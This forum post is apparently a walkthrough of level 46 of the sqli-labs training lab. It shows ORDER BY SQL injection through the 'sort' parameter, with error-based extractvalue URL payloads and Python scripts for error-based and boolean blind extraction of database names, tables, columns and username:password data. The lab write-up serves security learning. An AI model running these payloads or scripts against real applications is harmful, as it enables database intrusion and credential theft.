sqli-labs-master第46关

打印 上一主题 下一主题

主题 1853|帖子 1853|积分 5559

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
目录
报错注入
直接注入
数据库名
数据库中的表名
users表结构:
users表数据:
python脚本注入
直接注入
获取数据库名
获取表名
获取表结构
获取数据
布尔盲注
获取数据库名
获取表名
获取表结构
获取数据


报错注入

直接注入

数据库名

当前数据库名:
http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,(select database() limit 1,1))))

系统数据库名:
http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata))))

长度限制,利用截取函数substr():
 http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),1,32))))

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),32,64))))

数据库中的表名

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,(select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema='security'))))

同理利用截取函数substr():
http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema='security'),32,64))))

users表结构:

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_schema='security' and table_name='users'),1,32))))

users表数据:

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32))))

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),32,64))))

python脚本注入

直接注入

获取数据库名

  1. import requests
  2. import re
  3. target_url = "http://sqli-labs:8013/Less-46/"
  4. def extract_database_names():
  5.     database_names = []
  6.     index = 0
  7.     while True:
  8.         payload = {
  9.             "sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"
  10.         }
  11.         try:
  12.             response = requests.get(target_url, params=payload, timeout=10)
  13.             response.raise_for_status()
  14.             match = re.search(r"XPATH syntax error: '~([^']+)", response.text)
  15.             if match:
  16.                 db_name = match.group(1)
  17.                 database_names.append(db_name)
  18.                 print(f"成功提取数据库名: {db_name}")
  19.                 index += 1
  20.             elif index == 0:
  21.                 print("找到数据库名,可能漏洞不存在或错误信息被隐藏")
  22.                 break
  23.             else:
  24.                 print("已提取所有数据库名")
  25.                 break
  26.         except (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:
  27.             print(f"[-] 请求错误,索引为 {index}: {e}")
  28.     return database_names
  29. if __name__ == "__main__":
  30.     all_database_names = extract_database_names()
复制代码

获取表名

  1. import requests
  2. import re
  3. target_url = "http://sqli-labs:8013/Less-46/"
  4. def extract_table_names(database_name):
  5.     table_names = []
  6.     index = 0
  7.     while True:
  8.         payload = {
  9.             "sort": f"(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='{database_name}' limit {index},1))))"
  10.         }
  11.         try:
  12.             response = requests.get(target_url, params=payload, timeout=10)
  13.             response.raise_for_status()
  14.             match = re.search(r"XPATH syntax error: '~([^']+)", response.text)
  15.             if match:
  16.                 table_name = match.group(1)
  17.                 table_names.append(table_name)
  18.                 print(f"成功提取表名: {table_name}")
  19.                 index += 1
  20.             elif index == 0:
  21.                 print("找到表名,可能漏洞不存在或错误信息被隐藏")
  22.                 break
  23.             else:
  24.                 print("已提取所有表名")
  25.                 break
  26.         except (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:
  27.             print(f"[-] 请求错误,索引为 {index}: {e}")
  28.     return table_names
  29. if __name__ == "__main__":
  30.     database_name = "security"  # 目标数据库名
  31.     all_table_names = extract_table_names(database_name)
复制代码

获取表结构

  1. import requests
  2. import re
  3. target_url = "http://sqli-labs:8013/Less-46/"
  4. def extract_column_names(database_name, table_name):
  5.     column_names = []
  6.     index = 0
  7.     while True:
  8.         payload = {
  9.             "sort": f"(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='{table_name}' and table_schema='{database_name}' limit {index},1))))"
  10.         }
  11.         try:
  12.             response = requests.get(target_url, params=payload, timeout=10)
  13.             response.raise_for_status()
  14.             match = re.search(r"XPATH syntax error: '~([^']+)", response.text)
  15.             if match:
  16.                 column_name = match.group(1)
  17.                 column_names.append(column_name)
  18.                 print(f"成功提取列名: {column_name}")
  19.                 index += 1
  20.             elif index == 0:
  21.                 print("找到列名,可能漏洞不存在或错误信息被隐藏")
  22.                 break
  23.             else:
  24.                 print("已提取所有列名")
  25.                 break
  26.         except (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:
  27.             print(f"[-] 请求错误,索引为 {index}: {e}")
  28.     return column_names
  29. if __name__ == "__main__":
  30.     database_name = "security"  # 目标数据库名
  31.     table_name = "users"       # 目标表名
  32.     all_column_names = extract_column_names(database_name, table_name)
复制代码

获取数据

  1. import requests
  2. import re
  3. target_url="http://sqli-labs:8013/Less-46/"
  4. def extract_user_data(database_name, table_name, record_id):
  5.     # 提取 username 和 password 的数据
  6.     data={}
  7.     # 获取 username
  8.     payload_username={
  9.         "sort": f"(extractvalue(1,concat(0x7e,(select username from {table_name} where id={record_id} limit 0,1))))"
  10.     }
  11.     # 获取 password
  12.     payload_password={
  13.         "sort": f"(extractvalue(1,concat(0x7e,(select password from {table_name} where id={record_id} limit 0,1))))"
  14.     }
  15.     try:
  16.         response_username=requests.get(target_url, params=payload_username, timeout=10)
  17.         response_username.raise_for_status()
  18.         match_username=re.search(r"XPATH syntax error: '~([^']+)", response_username.text)
  19.         response_password=requests.get(target_url, params=payload_password, timeout=10)
  20.         response_password.raise_for_status()
  21.         match_password=re.search(r"XPATH syntax error: '~([^']+)", response_password.text)
  22.         if match_username and match_password:
  23.             username=match_username.group(1)
  24.             password=match_password.group(1)
  25.             data={'username': username, 'password': password}
  26.             print(f"{username}:{password}")
  27.     except (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:
  28.         print(f"[-] 请求错误,id={record_id}: {e}")
  29.     return data
  30. if __name__ == "__main__":
  31.     database_name="security"  # 目标数据库名
  32.     table_name="users"  # 目标表名
  33.     record_id=1  # 从 id=1 开始
  34.     while True:
  35.         print(f"正在提取 id={record_id} 的数据...")
  36.         user_data=extract_user_data(database_name, table_name, record_id)
  37.         if not user_data:  # 如果没有提取到数据,则跳出循环
  38.             print("没有更多数据,提取结束。")
  39.             break
  40.         record_id+=1  # 继续下一个 id
复制代码

布尔盲注

获取数据库名

  1. import requests
  2. from bs4 import BeautifulSoup
  3. # 获取页面中的用户名(用于判断SQL注入是否成功)
  4. def get_username(resp):
  5.     soup = BeautifulSoup(resp, 'html.parser')
  6.     try:
  7.         username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
  8.     except IndexError:
  9.         username = ""
  10.     return username
  11. # 向目标URL发送请求并返回响应
  12. def send_request(url):
  13.     try:
  14.         resp = requests.get(url)
  15.         return resp
  16.     except requests.RequestException as e:
  17.         print(f"Request error: {e}")
  18.         return None
  19. # 获取数据库名
  20. def get_database_name():
  21.     database_name = ''
  22.     i = 1
  23.     while True:
  24.         left = 32
  25.         right = 127
  26.         mid = (left + right) // 2
  27.         while left < right:
  28.             url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
  29.             resp = send_request(url)
  30.             if resp and 'Dumb' == get_username(resp.text):
  31.                 left = mid + 1
  32.             else:
  33.                 right = mid
  34.             mid = (left + right) // 2
  35.         if mid == 32:
  36.             break
  37.         database_name += chr(mid)
  38.         i += 1
  39.         print(f"Database Name: {database_name}")
  40. if __name__ == '__main__':
  41.     get_database_name()
复制代码

获取表名

  1. import requests
  2. from bs4 import BeautifulSoup
  3. # 获取页面中的用户名(用于判断SQL注入是否成功)
  4. def get_username(resp):
  5.     soup = BeautifulSoup(resp, 'html.parser')
  6.     try:
  7.         username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
  8.     except IndexError:
  9.         username = ""
  10.     return username
  11. # 向目标URL发送请求并返回响应
  12. def send_request(url):
  13.     try:
  14.         resp = requests.get(url)
  15.         return resp
  16.     except requests.RequestException as e:
  17.         print(f"Request error: {e}")
  18.         return None
  19. # 获取表名
  20. def get_table_names():
  21.     tables = ''
  22.     i = 1
  23.     while True:
  24.         left = 32
  25.         right = 127
  26.         mid = (left + right) // 2
  27.         while left < right:
  28.             url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr((select group_concat(table_name) from \
  29.                 information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
  30.             resp = send_request(url)
  31.             if resp and 'Dumb' == get_username(resp.text):
  32.                 left = mid + 1
  33.             else:
  34.                 right = mid
  35.             mid = (left + right) // 2
  36.         if mid == 32:
  37.             break
  38.         tables += chr(mid)
  39.         i += 1
  40.         print(f"Tables: {tables}")
  41. if __name__ == '__main__':
  42.     get_table_names()
复制代码

获取表结构

  1. import requests
  2. from bs4 import BeautifulSoup
  3. # 获取页面中的用户名(用于判断SQL注入是否成功)
  4. def get_username(resp):
  5.     soup = BeautifulSoup(resp, 'html.parser')
  6.     try:
  7.         username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
  8.     except IndexError:
  9.         username = ""
  10.     return username
  11. # 向目标URL发送请求并返回响应
  12. def send_request(url):
  13.     try:
  14.         resp = requests.get(url)
  15.         return resp
  16.     except requests.RequestException as e:
  17.         print(f"Request error: {e}")
  18.         return None
  19. # 获取列名
  20. def get_column_names():
  21.     columns = ''
  22.     i = 1
  23.     while True:
  24.         left = 32
  25.         right = 127
  26.         mid = (left + right) // 2
  27.         while left < right:
  28.             url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr((select group_concat(column_name) from \
  29.                 information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
  30.             resp = send_request(url)
  31.             if resp and 'Dumb' == get_username(resp.text):
  32.                 left = mid + 1
  33.             else:
  34.                 right = mid
  35.             mid = (left + right) // 2
  36.         if mid == 32:
  37.             break
  38.         columns += chr(mid)
  39.         i += 1
  40.         print(f"Columns in 'users': {columns}")
  41. if __name__ == '__main__':
  42.     get_column_names()
复制代码

获取数据

  1. import requests
  2. from bs4 import BeautifulSoup
  3. # 获取页面中的用户名(用于判断SQL注入是否成功)
  4. def get_username(resp):
  5.     soup = BeautifulSoup(resp, 'html.parser')
  6.     try:
  7.         username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
  8.     except IndexError:
  9.         username = ""
  10.     return username
  11. # 向目标URL发送请求并返回响应
  12. def send_request(url):
  13.     try:
  14.         resp = requests.get(url)
  15.         return resp
  16.     except requests.RequestException as e:
  17.         print(f"Request error: {e}")
  18.         return None
  19. # 获取数据(如用户名:密码)
  20. def get_user_data():
  21.     user_data = ''
  22.     i = 1
  23.     while True:
  24.         left = 32
  25.         right = 127
  26.         mid = (left + right) // 2
  27.         while left < right:
  28.             url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr((select group_concat(username,':',password) \
  29.                 from users),{i},1))>{mid},id,username) -- "
  30.             resp = send_request(url)
  31.             if resp and 'Dumb' == get_username(resp.text):
  32.                 left = mid + 1
  33.             else:
  34.                 right = mid
  35.             mid = (left + right) // 2
  36.         if mid == 32:
  37.             break
  38.         user_data += chr(mid)
  39.         i += 1
  40.         print(f"User Data (username:password): {user_data}")
  41. if __name__ == '__main__':
  42.     get_user_data()
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

河曲智叟

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表